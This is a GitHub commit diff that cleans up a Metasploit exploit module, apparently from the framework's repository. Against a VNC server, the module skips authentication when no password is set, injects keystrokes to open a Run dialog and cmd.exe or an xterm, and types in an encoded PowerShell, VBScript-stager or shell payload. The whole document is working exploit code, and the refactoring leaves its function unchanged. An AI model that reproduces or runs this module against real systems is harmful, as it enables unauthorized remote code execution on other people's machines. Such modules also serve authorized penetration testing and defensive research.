Skip to content

Commit 1326a26

Browse files
committed
Do code cleanup
1 parent 917282a commit 1326a26

File tree

1 file changed

+42
-55
lines changed

1 file changed

+42
-55
lines changed

modules/exploits/multi/vnc/vnc_keyboard_exec.rb

Lines changed: 42 additions & 55 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,9 @@
99
class Metasploit3 < Msf::Exploit::Remote
1010

1111
Rank = GreatRanking
12+
WINDOWS_KEY = "\xff\xeb"
13+
ENTER_KEY = "\xff\x0d"
14+
1215
include Msf::Exploit::Remote::Tcp
1316
include Msf::Exploit::CmdStager
1417
include Msf::Exploit::Powershell
@@ -24,6 +27,7 @@ def initialize(info = {})
2427
},
2528
'Author' => [ 'xistence <xistence[at]0x90.nl>' ],
2629
'Privileged' => false,
30+
'DefaultOptions' => { 'WfsDelay' => 20 },
2731
'License' => MSF_LICENSE,
2832
'Platform' => %w{ win unix },
2933
'Targets' =>
@@ -39,12 +43,12 @@ def initialize(info = {})
3943
[
4044
Opt::RPORT(5900),
4145
OptString.new('PASSWORD', [ false, 'The VNC password']),
42-
OptInt.new('TIMEWAIT', [ true, 'Time to wait for payload to be executed', 20])
46+
OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20])
4347
], self.class)
4448
end
4549

4650

47-
def press_key( key )
51+
def press_key(key)
4852
keyboard_key = "\x04\x01" # Press key
4953
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
5054
keyboard_key << key # The keyboard key
@@ -53,49 +57,46 @@ def press_key( key )
5357
end
5458

5559

56-
def release_key( key )
60+
def release_key(key)
5761
keyboard_key = "\x04\x00" # Release key
5862
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
5963
keyboard_key << key # The keyboard key
60-
# Press the keyboard key. Note: No receive is done as everything is sent in one long data stream
64+
# Release the keyboard key. Note: No receive is done as everything is sent in one long data stream
6165
sock.put(keyboard_key)
6266
end
6367

6468

65-
def exec_command( command )
69+
def exec_command(command)
6670
values = command.chars.to_a
6771
values.each do |value|
6872
press_key("\x00#{value}")
6973
release_key("\x00#{value}")
7074
end
71-
press_key(@enter_key)
75+
press_key(ENTER_KEY)
7276
end
7377

7478

75-
def start_cmdprompt
79+
def start_cmd_prompt
7680
print_status("#{rhost}:#{rport} - Opening Run command")
7781
# Pressing and holding windows key for 1 second
78-
press_key(@windows_key)
79-
select(nil, nil, nil, 1)
82+
press_key(WINDOWS_KEY)
83+
Rex.select(nil, nil, nil, 1)
8084
# Press the "r" key
8185
press_key("\x00r")
8286
# Now we can release both keys again
8387
release_key("\x00r")
84-
release_key(@windows_key)
88+
release_key(WINDOWS_KEY)
8589
# Wait a second to open run command window
8690
select(nil, nil, nil, 1)
87-
exec_command("cmd.exe")
91+
exec_command('cmd.exe')
8892
# Wait a second for cmd.exe prompt to open
89-
select(nil, nil, nil, 1)
93+
Rex.select(nil, nil, nil, 1)
9094
end
9195

9296

9397
def exploit
9498

9599
begin
96-
97-
@enter_key = "\xff\x0d"
98-
@windows_key = "\xff\xeb"
99100
alt_key = "\xff\xe9"
100101
f2_key = "\xff\xbf"
101102
password = datastore['PASSWORD']
@@ -104,92 +105,78 @@ def exploit
104105
vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false)
105106

106107
unless vnc.handshake
107-
print_error("#{rhost}:#{rport} - #{vnc.error}")
108-
return
108+
fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC Handshake failed: #{vnc.error}")
109109
end
110110

111-
unless password.nil?
111+
if password.nil?
112+
print_status("#{rhost}:#{rport} - Bypass authentication")
113+
# The following byte is sent in case the VNC server end doesn't require authentication (empty password)
114+
sock.put("\x10")
115+
else
112116
print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server")
113117
if vnc.authenticate(password)
114118
print_status("#{rhost}:#{rport} - Authenticated")
115119
else
116-
print_error("#{rhost}:#{rport} - #{vnc.error}")
117-
return
120+
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - VNC Authentication failed: #{vnc.error}")
118121
end
119-
else
120-
print_status("#{rhost}:#{rport} - Bypass authentication")
121-
# The following byte is sent in case the VNC server end doesn't require authentication (empty password)
122-
sock.put("\x10")
123122
end
124123

125-
126-
127124
# Send shared desktop
128125
unless vnc.send_client_init
129-
print_error("#{rhost}:#{rport} - #{vnc.error}")
130-
return
126+
fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC client init failed: #{vnc.error}")
131127
end
132128

133129
if target.name =~ /VBScript CMDStager/
134-
135-
start_cmdprompt
130+
start_cmd_prompt
136131
print_status("#{rhost}:#{rport} - Typing and executing payload")
137132
execute_cmdstager({:flavor => :vbs, :linemax => 8100})
138-
139133
# Exit the CMD prompt
140-
exec_command("exit")
141-
134+
exec_command('exit')
142135
elsif target.name =~ /Powershell/
143-
144-
start_cmdprompt
136+
start_cmd_prompt
145137
print_status("#{rhost}:#{rport} - Typing and executing payload")
146-
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true})
138+
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true})
147139
# Execute powershell payload and make sure we exit our CMD prompt
148140
exec_command("#{command} && exit")
149-
150141
elsif target.name =~ /Linux/
151-
152-
print_status("#{rhost}:#{rport} - Opening \"Run Application\"")
142+
print_status("#{rhost}:#{rport} - Opening 'Run Application'")
153143
# Press the ALT key and hold it for a second
154144
press_key(alt_key)
155-
select(nil, nil, nil, 1)
156-
145+
Rex.select(nil, nil, nil, 1)
157146
# Press F2 to start up "Run application"
158147
press_key(f2_key)
159-
160148
# Release ALT + F2
161149
release_key(alt_key)
162150
release_key(f2_key)
163-
164151
# Wait a second for "Run application" to start
165-
select(nil, nil, nil, 1)
166-
152+
Rex.select(nil, nil, nil, 1)
167153
# Start a xterm window
168154
print_status("#{rhost}:#{rport} - Opening xterm")
169-
exec_command("xterm")
170-
155+
exec_command('xterm')
171156
# Wait a second for "xterm" to start
172-
select(nil, nil, nil, 1)
173-
157+
Rex.select(nil, nil, nil, 1)
174158
# Execute our payload and exit (close) the xterm window
175159
print_status("#{rhost}:#{rport} - Typing and executing payload")
176160
exec_command("nohup #{payload.encoded} &")
177-
exec_command("exit")
161+
exec_command('exit')
178162
end
179163

180-
# Wait up to X seconds, else might timeout/disconnect before full payload is typed
181-
select(nil, nil, nil, datastore['TIMEWAIT'])
164+
(datastore['TIME_WAIT']).times do
165+
Rex.sleep(1)
166+
167+
# Success! session is here!
168+
break if session_created?
169+
end
182170

183-
handler
184171
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
185-
print_error("#{rhost}:#{rport} - #{e.message}")
172+
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}")
186173
ensure
187174
disconnect
188175
end
189176
end
190177

191178
def execute_command(cmd, opts = {})
192-
exec_command(cmd)
179+
exec_command(cmd)
193180
end
194181

195182
end

0 commit comments

Comments
 (0)